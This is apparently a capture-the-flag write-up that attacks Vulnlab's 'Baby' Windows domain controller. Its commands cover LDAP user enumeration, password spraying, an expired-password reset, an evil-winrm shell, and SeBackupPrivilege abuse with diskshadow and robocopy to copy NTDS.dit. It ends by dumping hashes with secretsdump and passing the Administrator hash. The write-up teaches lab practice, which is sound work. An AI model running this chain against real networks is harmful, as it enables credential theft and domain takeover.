Introduction
Hello Everyone ! This is an writeup of Vulnlab's Baby (easy) machine. For Initial access, LDAP is enumerated to identify users and initial setup password from the AD user object's description. One of the user's logon status was found to be STATUS_PASSWORD_MUST_CHANGE
and the password is successfully reset. With the valid credentials, we got the initial shell using evil-winrm.
For Privilege Escalation, SeBackupPrivilege is abused to obtain the shadow copy of NTDS.dit and SYSTEM. With that, Domain users' hashes are dumped and used to become a domain administrator.
Enumeration
NMAP Scan
sudo rustscan --ulimit 5000 -b 500 -a 10.10.83.11 -- -sC -sV -Pn | tee baby.nmap
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
---- SNIP ----
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-04-20 09:18:24Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Issuer: commonName=BabyDC.baby.vl
---- SNIP ----
| rdp-ntlm-info:
| Target_Name: BABY
| NetBIOS_Domain_Name: **BABY**
| NetBIOS_Computer_Name: BABYDC
| DNS_Domain_Name: **baby.vl**
| DNS_Computer_Name: **BabyDC.baby.vl**
| DNS_Tree_Name: baby.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-04-20T09:19:15+00:00
|_ssl-date: 2024-04-20T09:19:56+00:00; -3s from scanner time.
5357/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
52557/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows
---- SNIP ----
Information from NMAP scan
- Open DNS, SMB, Kerberos & LDAP ports shows that we are dealing with mostly an AD domain controller
- DNS Computer name confirms that - BabyDC.baby.vl
- We have open RDP and WinRM ports as well, which we can use it later when we get a valid username, password/NTLM hash
- Lets add the IP and host name to the /etc/hosts file
Service Enumeration
SMB
- First step is to test for anonymous login. There are many tools that can be used to test this. E.g.: smbclient, smbmap, netexec (formerly crackmapexec) etc.
- I'm using netexec to test the same
nxc smb 10.10.83.11 -u '' -p '' --shares
nxc smb 10.10.83.11 -u 'no_such_user' -p '' --shares
- Anonymous login is not successful and no shares are listed
- If the anonymous login is successful and there are some readable shares listed, Then the next step is to run enum4linux against the target as it can help to obtain some additional information like users, groups, password policy etc.
- Unfortunately we cannot do anything further here. Let's move on to LDAP
LDAP
- First test on LDAP is to check if anonymous bind is allowed, so that we can enumerate users, groups, computers & other AD objects.
nxc ldap BABYDC.baby.vl -u '' -p '' --users | tee tempusers
- User details are obtained. Deleted the unwanted details from the saved file and we have in total 11 users
- Above details are just the names not the actual usernames. We'll use impacket's getADUsers.py script to get the user names.
GetADUsers.py -all baby.vl/ -dc-ip 10.10.83.11
- we could see that there are only 8 users listed here , but we have got 11 users when we enumerated through netexec.
- Nevertheless we know the format of the usernames here -
[firstname].[lastname]
- Let's add the missing usernames
Ian.Walker,Caroline.Robinson & Administrator
and create a list - net exec's ldap has several modules that we can use to enumerate the domain objects further with anonymous login
- First few modules on the list are not interesting at the moment as we are looking for hints about credentials.
- Right now, Potential entry points can be obtained from the description of the user objects, AS-REP roastable users, where we can get the hash and crack it offline to get a valid credentials or password bruteforce with the users list available
- We'll start with enumerating the user's description
nxc ldap BabyDC.baby.vl -u '' -p '' -d baby.vl -M get-desc-users
- we got information about the initial password of Teresa.Bell present in the description
- Upon testing, it happens to be an invalid credential.
- Lets spray the password on all the users.
- Still no valid credentials, but the user Caroline.Robinson 's logon status is
STATUS_PASSWORD_MUST_CHANGE
. - The account is marked to indicate that the password must be changed on the next logon
- It's possible that the password found in the description is the old password
Foothold
Changing Caroline's password
smbpasswd -U baby.vl/Caroline.Robinson -r 10.10.83.11
- Password changed to
Password1!
- We'll first verify if the password is successfully changed and it is a success
- Now we have an valid credential, next step is to check the services that
Caroline.Robinson
has access to, so that we can get a shell - Always check
ssh, rdp, wmi, winrm, mssql
services for all the valid credentials obtained as per the open ports - Here we have only rdp, winrm, wmi ports open, so lets test one by one
- No luck with RDP & WMI, but the user has privileges to use winrm. It can be confirmed by the
Pwn3d!
keyword against the username
Initial shell access via Evil-WinRm
evil-winrm -i 10.10.83.11 -u 'Caroline.Robinson' -p 'Password1!
- Next step is to do privilege escalation to get Administrator access on the machine
- Quick wins are first to enumerate the user groups & privileges the user has
- Backup Operators group & SeBackupPrivilege draws the attention
- SeBackupPrivilege can be abused to get a copy of NTDS.dit and SYSTEM file which can used to dump the NTLM hashes from DC
Privilege Escalation
- There are various methods present that can be used to abuse SeBackupPrivilege. I'll be using diskshadow method described on https://juggernaut-sec.com/sebackupprivilege/ to obtain the shadow copy of NTDS.dit and SYSTEM files
- diskshadow.exe is an interactive command but we currently have a non-interactive session using evil-winrm. we have to craft a txt file that can be used with diskshadow.exe. This will allow us to execute required commands to create shadow copy
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
- Create a temp folder on C:/ and run below command to create shadow copy
diskshadow.exe /s C:\Users\Caroline.Robinson\Documents\diskshadow.txt
- Lets copy the SYSTEM and NTDS.dit file using robocopy
Note: Since we are in DC, we are targeting NTDS.dit file. For Standalone machines, SAM must be targeted. The SAM file contains local user hashes, whereas the NTDS.dit file contains all of the domain user hashes
robocopy /b Z:\Windows\system32\Config C:\temp SYSTEM
robocopy /b Z:\Windows\NTDS\ C:\temp ntds.dit
- Download it to Kali machine and we can dump the hashes using impacket's secretsdump.py
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
- Use the Administrator's (Domain Admin) NTLM hash to login to the machine
evil-winrm -i 10.10.90.138 -u 'Administrator' -H 'redacted'
Conclusion
Finally we pwned the baby machine from Vulnlab. Key take away's from this machine personally are
- Attention to the minor details during enumeration
- Difference in abusing SeBackupPrivilege between a domain joined and a standalone machine
I know, this is an long post for an easy machine. Tried to add extensive details and screenshots to help the beginners doing their first few boxes. Thank you for sticking till last. Cheers !
References
https://juggernaut-sec.com/sebackupprivilege/
https://learn.microsoft.com/en-us/windows/win32/api/subauth/nf-subauth-msv1_0subauthenticationroutineex
https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldap-anonymous-binds
https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/